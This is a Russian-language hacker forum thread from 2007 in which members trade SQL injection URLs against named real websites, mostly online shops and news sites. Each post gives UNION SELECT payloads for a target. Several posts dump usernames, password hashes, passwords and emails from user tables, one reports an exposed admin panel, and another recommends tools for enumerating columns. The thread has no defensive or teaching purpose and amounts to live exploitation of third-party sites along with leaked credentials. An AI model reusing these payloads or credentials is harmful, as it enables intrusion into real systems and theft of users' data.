13.02.2007, 22:46
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами:
10225766
Репутация:
2062
|
|
почти всё инет-магазины
таблицы не нашел, лоадфайла нет
Код:
__http://www.getethical.com/getethical_shop.php?id=-16+union+select+1,2,3,4/*&cat=Shoes%20and%20Trainers
__http://www.zaishu.com/shop.php?id=17+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
в этих подзапросы, просто ошибки скуля, фильтрация пробелов и прочие приколы, разбирать не стал
Код:
__http://shop.fightresource.com/viewproducts.php?id=-33'+union+select+1,2,3,4,5,6,7,8,8/*
__http://www.ukrbiznes.com/website.php?id=47515'
__http://www.airsideshop.com/product.php?id=-231'
__http://www.stageagent.com/shows.php?id=686'+union+select+1,2/*
__http://www.qi.com/shop/qicat.php?id=-202'+union+select+1,2/*
__http://www.blackpoolpleasurebeach.com/shop/product.php?id=235'/*&typeid=5
Последний раз редактировалось Thanat0z; 13.02.2007 в 23:00..
|
|
|
13.02.2007, 23:25
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами:
10188326
Репутация:
1866
|
|
Код:
__http://www.mediapro.com.ua/news/text.php?id=-99+union+select+1,2,concat(username,0x3a,user_password),4,5,6,7,8+from+phpbb_users+limit+1,1/*
admin:fa7f581027e58c9a5bcdbdc192d80c55
admin:011076
Код:
__http://www.synco.ru/text.php?id=-99+union+select+999/*
Код:
__http://www.legionhardware.com/document.php?id=-99+union+select+1,2,3,4,5,6,7,8,concat(name,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users+limit+0,1/*
=\
Последний раз редактировалось ice1k; 14.02.2007 в 00:51..
|
|
|
|
14.02.2007, 00:59
|
|
Познающий
Регистрация: 10.02.2007
Сообщений: 38
С нами:
10130311
Репутация:
183
|
|
Код:
http://svadba.irk.ru/catalog.php?id=-1+union+select+1,2,3,4,5,6,7,8/*
|
|
|
|
14.02.2007, 01:32
|
|
Познающий
Регистрация: 27.03.2006
Сообщений: 86
С нами:
10591280
Репутация:
52
|
|
_http://www.reflex.se/downloads.php?cat=1'
_http://www.xtremepsp.com/downloads.php?cat=2'
|
|
|
|
14.02.2007, 01:44
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами:
10225766
Репутация:
2062
|
|
Сообщение от Dagon
_http://www.reflex.se/downloads.php?cat=1'
_http://www.xtremepsp.com/downloads.php?cat=2'
покажите реализацию, имхо здесь нет инъекций
|
|
|
|
14.02.2007, 01:55
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами:
10188326
Репутация:
1866
|
|
Сообщение от Thanat0z
покажите реализацию, имхо здесь нет инъекций
http://www.xtremepsp.com/downloads.php?cat=-99+union+select+1,user(),3,4,5,6,7,8/*
etc...
|
|
|
|
14.02.2007, 01:58
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
С нами:
10686686
Репутация:
447
|
|
а так круче http://www.xtremepsp.com/downloads.php?cat=-2+union+select+1,2,3,4,concat(name,char(58),passwo rd,char(58),email),6,7,8+from+members/*  |
|
|
|
14.02.2007, 02:00
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами:
10225766
Репутация:
2062
|
|
млин, а мне на 7 уже было влом перебирать  (ленивая сволочь)
держите плюсы
Простите засранца |
|
|
|
14.02.2007, 02:18
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
С нами:
10686686
Репутация:
447
|
|
хмм и админка на виду
Total Members: 3776
Последний раз редактировалось }{0TT@БЬ)Ч; 14.02.2007 в 02:23..
|
|
|
|
14.02.2007, 03:11
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
|
|
2Thanat0z
для перебора можно использывать специальные тулзы, если не дает результата то уже ручками, просто иногда бывает что в таблице 50-60 столбцов...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
